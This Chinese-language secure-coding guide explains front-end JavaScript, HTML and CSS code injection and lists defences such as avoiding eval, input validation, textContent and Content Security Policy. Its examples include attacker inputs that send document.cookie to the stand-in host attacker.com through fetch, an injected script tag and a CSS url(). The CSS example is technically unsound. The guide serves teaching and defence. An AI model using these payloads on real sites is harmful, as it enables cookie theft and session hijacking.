代码注入
威胁描述
代码注入是一种攻击方式,攻击者通过将恶意代码插入到应用程序中,使应用程序执行非预期的代码。在前端环境中,代码注入通常发生在动态执行代码的场景,如eval函数使用、动态脚本加载等。虽然前端代码注入的直接危害通常小于后端代码注入,但仍可能导致数据泄露、会话劫持或恶意重定向等问题。
类型分类
1. JavaScript代码注入
攻击者通过输入框、URL参数等方式注入恶意JavaScript代码,利用应用程序的动态执行机制执行。
2. HTML注入
攻击者注入恶意HTML代码,可能包含内联脚本或恶意链接。
3. CSS注入
攻击者注入恶意CSS代码,可能用于窃取信息或影响页面渲染。
工作原理
- 应用程序存在接收用户输入并动态执行的功能
- 攻击者构造包含恶意代码的输入
- 应用程序未对输入进行适当验证或过滤
- 恶意代码被执行,造成危害
示例代码
JavaScript代码注入示例
// 不安全的代码:直接使用eval执行用户输入
const userInput = document.getElementById('userInput').value;
eval('processData(' + userInput + ')');
// 攻击者输入
'); fetch('https://attacker.com/steal?cookie='+document.cookie); //
// 执行后的代码
processData(''); fetch('https://attacker.com/steal?cookie='+document.cookie); //')
HTML注入示例
// 不安全的代码:直接将用户输入设置为innerHTML
const userInput = document.getElementById('userInput').value;
document.getElementById('output').innerHTML = 'Hello, ' + userInput;
// 攻击者输入
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
CSS注入示例
<!-- 不安全的代码:直接将用户输入添加到style标签 -->
<style>
<?= userInput ?>
</style>
<!-- 攻击者输入 -->
body { background-image: url('https://attacker.com/track?cookie='+document.cookie); }
防御措施
1. 避免动态执行代码
尽量避免使用eval()、Function()、setTimeout(string)等动态执行代码的函数。如果必须使用,确保对输入进行严格验证:
// 安全的替代方案:使用函数参数而非eval
function processUserInput(input) {
// 验证输入是否为预期格式
if (typeof input === 'number') {
processData(input);
} else {
// 处理无效输入
}
}
2. 输入验证和过滤
对所有用户输入进行严格验证,只允许预期的格式和字符:
// 只允许数字输入
function validateNumber(input) {
return /^\d+$/.test(input);
}
// 过滤HTML标签
function stripHTML(input) {
return input.replace(/<[^>]*>/g, '');
}
3. 使用安全的API
优先使用安全的API,如textContent而非innerHTML,使用addEventListener而非内联事件处理器:
// 安全设置文本内容
document.getElementById('output').textContent = userInput;
4. 内容安全策略(CSP)
设置CSP头部,限制脚本的来源和执行:
Content-Security-Policy: default-src 'self'; script-src 'self';
最佳实践
-
避免使用动态执行代码的函数,如
eval、Function等- 这些函数会将字符串作为代码执行,如果字符串包含用户输入,可能导致恶意代码执行。
eval和Function会在当前作用域中执行代码,可能访问和修改敏感数据。- 安全替代方案:使用函数参数传递数据,而非拼接字符串执行代码。例如,使用
setTimeout(callback, delay)而非setTimeout('callback()', delay)。 - 示例:将
eval('processData(' + userInput + ')')改为processData(userInput),并在processData函数中进行输入验证。
-
对所有用户输入进行严格的验证和过滤,仅允许预期的内容
- 用户输入是代码注入的主要来源,严格验证可以有效阻止恶意输入。
- 采用白名单验证策略,只允许明确允许的字符和格式,而非试图过滤掉危险字符。
- 对于不同类型的输入使用不同的验证规则,如邮箱、手机号、数字等应使用相应的正则表达式验证。
- 示例:对于预期为数字的输入,使用
/^\d+$/.test(input)进行验证;对于文本输入,使用stripHTML函数过滤HTML标签。
-
使用安全的DOM操作API,避免直接操作
innerHTML等可能导致注入的属性innerHTML、outerHTML等属性会解析和执行HTML内容,可能导致XSS和代码注入。- 优先使用
textContent、setAttribute等安全的API,这些API不会解析HTML。 - 如果必须使用
innerHTML,确保内容已经过严格的过滤和转义。 - 示例:使用
document.getElementById('output').textContent = userInput而非document.getElementById('output').innerHTML = userInput。
-
实施内容安全策略(CSP),提供额外的安全层
- CSP可以限制浏览器加载和执行脚本的来源,防止内联脚本执行,有效阻止代码注入。
- 配置CSP指令,如
script-src 'self'限制脚本只能来自同一域名,unsafe-inline和unsafe-eval应尽量避免使用。 - 使用报告模式(
Content-Security-Policy-Report-Only)进行测试,收集违规报告后再启用强制模式。 - 示例:针对代码注入的CSP配置:
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';。
-
定期进行安全测试,包括静态代码分析和渗透测试
- 安全测试可以发现潜在的代码注入漏洞,及时修复这些漏洞可以防止攻击发生。
- 使用静态代码分析工具(如ESLint、Sonar)检测可能导致代码注入的危险模式(如使用
eval)。 - 进行渗透测试,模拟攻击者尝试注入恶意代码,验证防御措施的有效性。
- 示例:使用OWASP ZAP工具进行主动扫描,检测Web应用中的代码注入漏洞;使用ESLint的
no-eval规则禁止使用eval函数。
-
保持Web应用程序和依赖库的更新,以防止已知漏洞被利用
- 许多代码注入漏洞是由于使用了存在安全问题的库或框架版本导致的,及时更新可以修复这些漏洞。
- 使用依赖管理工具(如npm、yarn)定期检查并更新存在安全隐患的依赖包。
- 关注安全公告和漏洞数据库(如CVE),及时了解并应对新出现的与代码注入相关的漏洞。
- 示例:使用
npm audit命令检查项目中的安全漏洞,并使用npm update更新存在漏洞的依赖包。
-
对敏感数据实施加密,即使发生注入攻击也能保护数据安全
- 加密可以确保即使攻击者通过代码注入获取到数据,也无法轻易解密和利用。
- 对于客户端存储的敏感数据(如localStorage中的用户信息),应进行加密处理。
- 使用安全的加密算法和密钥管理策略,避免使用弱加密或硬编码密钥。
- 示例:使用AES加密算法加密敏感数据:
const encryptedData = CryptoJS.AES.encrypt(JSON.stringify(sensitiveData), encryptionKey).toString();。